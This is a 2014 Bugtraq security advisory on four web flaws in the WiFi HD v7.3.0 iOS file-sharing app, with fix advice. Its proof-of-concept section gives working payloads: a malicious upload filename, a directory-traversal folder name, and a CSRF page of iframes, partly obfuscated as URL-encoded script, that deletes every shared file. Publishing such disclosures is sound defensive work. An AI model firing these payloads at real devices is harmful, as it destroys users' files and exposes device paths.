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List:       bugtraq
Subject:    WiFi HD v7.3.0 iOS - Multiple Web Vulnerabilities
From:       Vulnerability Lab <research () vulnerability-lab ! com>
Date:       2014-07-29 9:32:07
Message-ID: 53D76A17.407 () vulnerability-lab ! com
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Document Title:
===============
WiFi HD v7.3.0 iOS - Multiple Web Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1283


Release Date:
=============
2014-07-29


Vulnerability Laboratory ID (VL-ID):
====================================
1283


Common Vulnerability Scoring System:
====================================
7.4


Product & Service Introduction:
===============================
Turn your iPhone into a wireless, mobile external hard drive! Works over any WiFi \
connection. You can now share, copy, and backup your  files to and from your PC / Mac \
/ Linux / or another phone! Very easy to use. No other software necessary! This is a \
simple, one stop,  stand alone File Sharing solution.

(Copy of the Homepage: https://itunes.apple.com/us/app/wifi-hd/id310425060 )


Abstract Advisory Information:
==============================
The Vulnerbaility Laboratory Research Team discovered multiple vulnerabilities in the \
official WiFI HD v7.3 iOS mobile web application.


Vulnerability Disclosure Timeline:
==================================
2014-07-29: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Savy Soda
Product: WiFI HD - iOS Mobile Web Application 7.3


Exploitation Technique:
=======================
Local


Severity Level:
===============
High


Technical Details & Description:
================================
1.1
A local file include web vulnerability has been discovered in the official Savy Soda \
- WiFI HD v7.3.0 iOS mobile web-application. The local file include web vulnerability \
allows remote attackers to unauthorized include local file/path requests or system \
specific  path commands to compromise the mobile web-application.

The web vulnerability is located in the `filename` value of the `upload` (submit \
file) module. Remote attackers are able to inject  own files with malicious \
`filename` values in the `upload` POST method request to compromise the mobile \
web-application. The local  file/path include execution occcurs in the index \
file/folder list context next to the vulnerable filename value. The attacker is able  \
to inject the local file request by usage of the available `wifi interface` for file \
exchange/share.

Remote attackers are also able to exploit the filename validation issue in \
combination with persistent injected script codes to execute  different local \
malicious attacks requests. The attack vector is on the application-side of the wifi \
service and the request method to  inject is POST. 

The security risk of the local file include web vulnerability is estimated as high \
with a cvss (common vulnerability scoring system)  count of 6.9. Exploitation of the \
local file include web vulnerability requires no privileged web-application user \
account or user interaction.  Successful exploitation of the local file include web \
vulnerability results in mobile application or connected device component compromise.


Request Method(s):
				[+] [POST]

Vulnerable Service(s):
				[+] WiFi HD v7.3.0

Vulnerable Module(s):
				[+] Upload > Submit

Vulnerable Parameter(s):
				[+] filename

Affected Module(s):
				[+] Index File/Folder Dir Listing (http://localhost/)



1.2
A directory traversal web vulnerability has been discovered in the official Savy Soda \
- WiFI HD v7.3.0 iOS mobile web-application. The issue allows remote attackers to \
include own path directory values to unauthorized request a system/device path or \
file.

The issue is located in the `Create New Folder` function with the vulnerable `Enter \
folder name` input. Attackers are able to include  own local path requests to \
compromise the application path itself or to unauthorized request local device files. \
The attack vector of  the issue is on the application-side and the request method to \
implement is POST. The application-side execution occurs on top of the  index next to \
the path directory listing of /home.

The security risk of the directory traversal web vulnerability is estimated as high \
with a cvss (common vulnerability scoring system)  count of 6.4. Exploitation of the \
directory traversal web vulnerability requires no privileged web-application user \
account or user interaction.  Successful exploitation of the path traversal web \
vulnerability results in mobile application or connected device component compromise.


Request Method(s):
				[+] [POST]

Vulnerable Service(s):
				[+] WiFi HD v7.3.0

Vulnerable Module(s):
				[+] Create New Folder

Vulnerable Input(s):
				[+] Enter folder name

Affected Module(s):
				[+] Index Path Dir Listing on top (http://localhost/)



1.3
A local command/path injection web vulnerabilities has been discovered in the \
official Savy Soda - WiFI HD v7.3.0 iOS mobile web-application. The vulnerability \
allows attackers to inject local commands via vulnerable system values to compromise \
the apple mobile iOS application.

The vulnerability is located in the vulnerable `devicename` value of the `File Dir \
Index` module. Local attackers are able to inject own  malicious system specific \
commands or path value requests in the vulnerable `devicename` value. The execution \
of the local command inject  occurs in the `File Dir Index` module of the wifi hd \
v7.3.0 mobile application. The attacker is able to manipulate the settings module of \
the  application by preparing to change the local devicename. The encoding of the \
vulnerable values in the index module is broken and allows an  attacker to inject own \
commands successfully.

The attack vector is located on the application-side and the injection requires \
physical device access or a local low privileged user account.  Local attackers are \
also able to exploit the filename validation issue in combination with persistent \
injected script codes to execute different  types of malicious attack requests.

The security risk of the local command/path inject vulnerability is estimated as \
medium with a cvss (common vulnerability scoring system) count of 6.2. Exploitation \
of the command/path inject vulnerability requires a low privileged iOS device account \
with restricted access and no user interaction.  Successful exploitation of the \
vulnerability results in unauthorized execution of system specific commands and \
unauthorized path value requests to  compromise the mobile iOS application or the \
connected device components.

Request Method(s):
				[+] [POST]

Vulnerable Module(s):
				[+] Application Header

Vulnerable Parameter(s):
				[+] devicename

Affected Module(s):
				[+] Index File Dir Listing - Index Header


1.4
A cross site request forgery web vulnerability has been discovered in the official \
Savy Soda - WiFI HD v7.3.0 iOS mobile web-application. The issue allows to execute \
own script codes through application functions by client-side manipulated cross site \
requests in interaction  with a not expired user session.

The issue is located in the `delete` function of the mobile web-application. The \
delete function has no restriction and uses only a not  secure GET method request. \
Attackers can prepare a website with speical crafted links to force an user to delete \
all the files in the  exchange directory service. The attack vector of the issue is \
on the client-side and the request method to execute is GET.

The security risk of the cross site request forgery vulnerability is estimated as low \
with a cvss (common vulnerability scoring system) count of 1.9. Exploitation of the \
client-side vulnerability requires no privileged iOS device account but medium or \
high user interaction. Successful exploitation  of the vulnerability results in the \
delete of all files in the mobile application service.

Request Method(s):
				[+] [GET]

Vulnerable Parameter(s):
				[+] DEL!

Affected Module(s):
				[+] Index File Dir Listing


Proof of Concept (PoC):
=======================
1.1
The local file include web vulnerability can be exploited by local attackers without \
privileged application user account or user interaction. For security demonstration \
or to reproduce the security vulnerability follow the provided information and steps \
below to continue.

PoC: (Current Directory: Home/) < Upload File > Submit
<a href="<iframe src=a>.png"><./[LOCAL FILE INCLUDE VULNERABILITY VIA FILENAME \
VALUE!]">.png</a></td> <td>[<a href="!DEL!./[LOCAL FILE INCLUDE VULNERABILITY VIA \
FILENAME VALUE!].png">X</a>] </td> <td align=right>0.5 Kb</td> </tr><tr><td><a \
href="asdasd-+%3C./[LOCAL FILE INCLUDE VULNERABILITY VIA FILENAME \
VALUE!]%3E/</a></td> <td>[<a href="!DEL!asdasd-+%3C./[LOCAL FILE INCLUDE \
VULNERABILITY VIA FILENAME VALUE!]%3E/">X</a>] </td><td align=right> </td> </tr> \
<tr><td colspan=3><hr></td></tr><tr><form action="" method="post" \
enctype="multipart/form-data"  name="form1" id="form1"></tr><tr><td><label>Select a \
file to upload: <input type="file" name="file" id="file" /></label> <label><input \
type="submit" name="button" id="button" value="Submit" \
/></label></td></tr></form><tr><td  colspan=4><hr></td></tr><tr><form action="" \
method="post" name="form2" id="form2"><td>Enter folder name: <input type="text"  \
name="foldername" id="foldername" /><input type="submit" name="button" id="button"  \
value="Create Folder" /></td></form></tr></table></body></html></iframe></a>


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost/ Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] \
Größe des Inhalts[2080] Mime Type[application/x-unknown-content-type]  Request \
Header:  Host[localhost]
      User-Agent

[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
    

  Referer[http://localhost/]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------24623207791791
Content-Disposition: form-data; name="file"; filename="./[LOCAL FILE INCLUDE \
                VULNERABILITY VIA FILENAME VALUE!].png"
Content-Type: image/png



1.2
The directory traversal web vulnerability can be exploited by local attackers in the \
wifi without privileged application user account or user interaction. For security \
demonstration or to reproduce the security vulnerability follow the provided \
information and steps below to continue.

PoC: Enter Folder Name > Create New Folder (Current Directory: \
http://localhost/../../../var/mobile/x)

Status: 200[OK]
 POST http://localhost/ Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] \
Größe des Inhalts[1926] Mime Type[application/x-unknown-content-type]  Request \
Header:  Host[localhost]
      User-Agent

[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
    

  Referer[http://localhost/]
      Connection[keep-alive]
   POST-Daten:
      foldername[..%2F..%2F..%2Fvar%2Fmobile%2Fx]
      button[Create+Folder]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[1926]
      Date[Mo., 

28 Juli 2014 12:33:06 GMT]




1.3
The local command inject web vulnerability can be exploited by local attackers with \
physical device access and restricted user account without user interaction. For \
security demonstration or to reproduce the security vulnerability follow the provided \
information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Install the mobile application v7.3.0 to your iOS device \
(https://itunes.apple.com/us/app/wifi-hd/id310425060) 2. Activate the wifi in your \
iOS device 3. Setup a new iOS devicename through the options in the settings > info \
module 4. Include as new devicename your local command to inject on application-side
5. Open another iOS device and surf to the localhost url
6. The via devicename values injected command executes in the header location were \
the device information becomes visible 7. Successful reproduce of the local command \
inject vulnerability in the iOS application!

PoC: Index (http://localhost/)
<h1>Files on iPhone: bkm337<[LOCAL COMMAND INJECT VULNERABILITY!]"></h1></td></tr>
<tr><td>The following files are hosted live from the iPhone's Docs \
folder.</td></tr><tr><td colspan=3><hr></td>



1.4
The client-side cross site request forgery vulnerability can be exploited by remote \
attackers without privileged application user account and medium or  high user \
interaction. For security demonstration or to reproduce the security vulnerability \
follow the provided information and steps below to continue.

PoC:
<html>
<head><body>
<title>CSRF DELETE FOLDERS - PoC</title>
<iframe src=http://localhost:8080/!DEL!1/>
<iframe src=http://localhost:8080/!DEL!2/>
<iframe src=http://localhost:8080/!DEL!3/>
<iframe src=http://localhost:8080/!DEL!4/>
<iframe src=http://localhost:8080/!DEL!5/>
<iframe src=http://localhost:8080/!DEL!6/>
</body></head>
<html>

... or

<script language=JavaScript>m='%3Chtml%3E%0A%3Chead%3E%3Cbody%3E%0A%3Ctitle%3ECSRF%20DELETE%20FOLDERS%20-%20PoC%3C/title%3E%0A
 %3Ciframe%20src%3Dhttp%3A//localhost%3A8080/%21DEL%211/%3E%0A%3Ciframe%20src%3Dhttp%3A//localhost%3A8080/%21DEL%212/%3E%0A
 %3Ciframe%20src%3Dhttp%3A//localhost%3A8080/%21DEL%213/%3E%0A%3Ciframe%20src%3Dhttp%3A//localhost%3A8080/%21DEL%214/%3E%0A
 %3Ciframe%20src%3Dhttp%3A//localhost%3A8080/%21DEL%215/%3E%0A%3Ciframe%20src%3Dhttp%3A//localhost%3A8080/%21DEL%216/%3E%0A
 %3C/body%3E%3C/head%3E%0A%3Chtml%3E';d=unescape(m);document.write(d);</script>


Solution - Fix & Patch:
=======================
1.1
The local file include web vulnerability can be patched by a secure parse of the \
filename value in the submit to upload function of the wifi service. Encode also the \
filename output listing to prevent further file include attacks via upload.

1.2
The directory traversal can be patched by a special restriction in the requested path \
value of the web-server. Especially when processing to  request the home/path value \
or by creating a new folder. Restrict the input and disallow script code tags as \
chars, double quotes and slash to prevent the attack.

1.3
The local command inject web vulnerability can be patched by a secure parse and \
encode of the vulnerable device name information. Restrict the devicename output and \
filter wrong inputs to prevent further command injection attacks.

1.4
The cross site request forgery issue can be patched by a secure restriction of the \
DEL! value. Setup access roles to ensure that an user account can not delete all \
directory items.


Security Risk:
==============
1.1
The security risk of the local file include vulnerability in the upload > submit \
function is estimated as high.

1.2
The security risk of the directory traversal web vulnerability in the path&directory \
listing is estimated as high.

1.3
The security risk of the local command inject web vulnerability is estimated as \
high(-).

1.4
The security risk of the client-side cross site request forgery vulnerability is \
estimated as low(+).


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri \
(bkm@evolution-sec.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
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